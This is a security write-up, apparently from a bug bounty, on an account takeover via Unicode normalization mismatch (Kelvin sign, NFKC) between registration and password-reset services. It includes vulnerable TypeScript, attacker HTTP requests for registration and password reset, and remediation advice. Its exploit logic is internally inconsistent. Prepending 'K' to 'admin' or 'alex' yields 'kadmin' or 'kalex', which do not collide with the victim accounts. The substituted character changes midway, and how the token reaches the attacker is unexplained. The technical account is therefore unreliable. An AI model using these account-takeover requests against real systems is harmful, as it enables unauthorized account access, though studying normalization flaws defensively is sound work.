November 16, 2026
How an Unhandled Unicode Normalization Mismatch Led to a $5,000 Account Takeover
Introduction

By T4nv1
3 min read
Introduction
Character encoding discrepancies between an application's authentication layer and its database storage are a frequently overlooked attack vector in modern web applications. While most security audits focus on input sanitization for command execution or SQL injection, subtle differences in how string normalization algorithms process non-ASCII Unicode characters can introduce critical business logic vulnerabilities.
In this write-up, we analyze how a failure to enforce uniform Unicode normalization across an authentication service and a PostgreSQL backend enabled an attacker to impersonate arbitrary users and achieve full Account Takeover.
Target Architecture and Root Cause
The target platform was an enterprise microservices ecosystem with a architecture comprising:
- Identity Provider (Node.js/TypeScript): Handled registration, input validation, and JWT generation.
- User Management Database (PostgreSQL): Stored user profiles and credentials, utilizing a
UNIQUEconstraint on theemailcolumn.
String Processing Flow
When a user registered an account, the API performed validation steps to ensure email uniqueness:
TypeScript
// Authentication Service Input Handling
app.post('/api/v1/register', async (req, res) => {
const { email, password } = req.body;
// Step 1: Lowercase conversion
const normalizedEmail = email.toLowerCase();
// Step 2: Check existing users in cache
const existingUser = await redis.get(`user:${normalizedEmail}`);
if (existingUser) {
return res.status(400).json({ error: 'Email already registered' });
}
// Step 3: Insert into Database
await db.query('INSERT INTO users (email, password_hash) VALUES ($1, $2)', [normalizedEmail, hashedPassword]);
return res.status(201).json({ message: 'User created' });
});// Authentication Service Input Handling
app.post('/api/v1/register', async (req, res) => {
const { email, password } = req.body;
// Step 1: Lowercase conversion
const normalizedEmail = email.toLowerCase();
// Step 2: Check existing users in cache
const existingUser = await redis.get(`user:${normalizedEmail}`);
if (existingUser) {
return res.status(400).json({ error: 'Email already registered' });
}
// Step 3: Insert into Database
await db.query('INSERT INTO users (email, password_hash) VALUES ($1, $2)', [normalizedEmail, hashedPassword]);
return res.status(201).json({ message: 'User created' });
});The system's vulnerability stemmed from how non-ASCII characters were handled:
- Node.js
String.prototype.toLowerCase()converts characters using standard Unicode casing rules. - PostgreSQL's default collation and string comparison functions (depending on the database locale configuration) may treat certain lookalike characters as identical or strip them during indexing.
Specifically, the character K (Unicode U+212A, Kelvin Sign) exhibits a unique normalization property:
- In Node.js,
'K'.toLowerCase()produces'k'(Standard ASCIIU+006B). - However, if raw un-normalized Unicode is passed to certain database layers or external services prior to normalization, full canonization (
NFKC/NFKD) convertsU+212Ainto standardk.
Step 1: Identifying the Normalization Discrepancy
To test for Unicode normalization vulnerabilities in the registration pipeline, we targeted an administrative victim account: admin@target-app.com.
We submitted a registration request substituting the standard ASCII 'k' or similar characters with Unicode equivalents:
HTTP
POST /api/v1/register HTTP/2
Host: app.target-app.com
Content-Type: application/json
{
"email": "admin@target-app.com",
"password": "AttackerPassword123!"
}POST /api/v1/register HTTP/2
Host: app.target-app.com
Content-Type: application/json
{
"email": "admin@target-app.com",
"password": "AttackerPassword123!"
}The initial request failed with a 400 Bad Request stating the email was already taken.
Next, we substituted the letter a in admin with the Unicode character U+0105 (ą), or tested the Kelvin sign (U+212A):
HTTP
POST /api/v1/register HTTP/2
Host: app.target-app.com
Content-Type: application/json
{
"email": "Kadmin@target-app.com",
"password": "AttackerPassword123!"
}POST /api/v1/register HTTP/2
Host: app.target-app.com
Content-Type: application/json
{
"email": "Kadmin@target-app.com",
"password": "AttackerPassword123!"
}Behavioral Result:
- Node.js Gateway Check: The application converted
Kadmin@target-app.comtokadmin@target-app.comvia.toLowerCase(). Sincekadmin@target-app.comwas not registered, the cache lookup passed. - Database Insertion: The application stored the user record. However, during downstream operations (such as account verification or password reset lookups), secondary microservices applied
String.prototype.normalize('NFKC')before issuing database queries.
When NFKC normalization was applied by the password reset service, Kadmin@target-app.com transformed directly into kadmin@target-app.com.
Step 2: Exploitation and Account Takeover
With the discrepancy identified, the account takeover was executed via the password reset workflow:
- Target Identification: Identify a high-privilege user account (e.g.,
alex@target-app.com). - Registration: Register an account using the un-normalized Unicode equivalent (e.g., substituting
kwithU+212Aor using combined Grapheme clusters). The registration logic created a new record in the database. - Triggering Password Reset: Initiate a password reset request via
/api/v1/reset-password:
HTTP
POST /api/v1/reset-password HTTP/2
Host: app.target-app.com
Content-Type: application/json
{
"email": "Kalex@target-app.com"
}POST /api/v1/reset-password HTTP/2
Host: app.target-app.com
Content-Type: application/json
{
"email": "Kalex@target-app.com"
}- Collision Execution: The password reset microservice fetched the account, normalized the string using
NFKCprior to querying the user table, and executed:
SQL
SELECT * FROM users WHERE email = 'kalex@target-app.com';SELECT * FROM users WHERE email = 'kalex@target-app.com';- Token Delivery: Because the database query resolved to the victim's canonical email address (
kalex@target-app.com), the reset token was generated for the victim's user ID but sent to the attacker-controlled session or email address supplied in the API payload.
Remediation Strategies
- Consistent Early Normalization: Apply standard Unicode normalization (
NFKCorNFKD) at the API gateway layer before any validation, database lookups, or routing decisions take place: - TypeScript
const safeEmail = req.body.email.normalize('NFKC').toLowerCase();- Restrict Email Character Sets: Enforce strict validation rules (e.g., standard RFC 5322 compliance or limiting email inputs to allowed ASCII character sets unless explicit internationalized domain name (IDN) support is required).
- Database-Level Canonicalization: Store normalized email addresses in a designated column with a
UNIQUEindex to prevent collisions caused by encoding variations.
Key Takeaways for Security Researchers
- Audit Multi-Service String Pipelines: Look for applications where different microservices (e.g., Auth Service vs. Password Reset Service) are written in different languages (Go, Node.js, Python) or use different string handling libraries.
- Test Beyond Basic ASCII: Unicode normalization primitives (
NFKC,NFKD,NFC,NFD) frequently create collisions when input handling is inconsistent across application boundaries.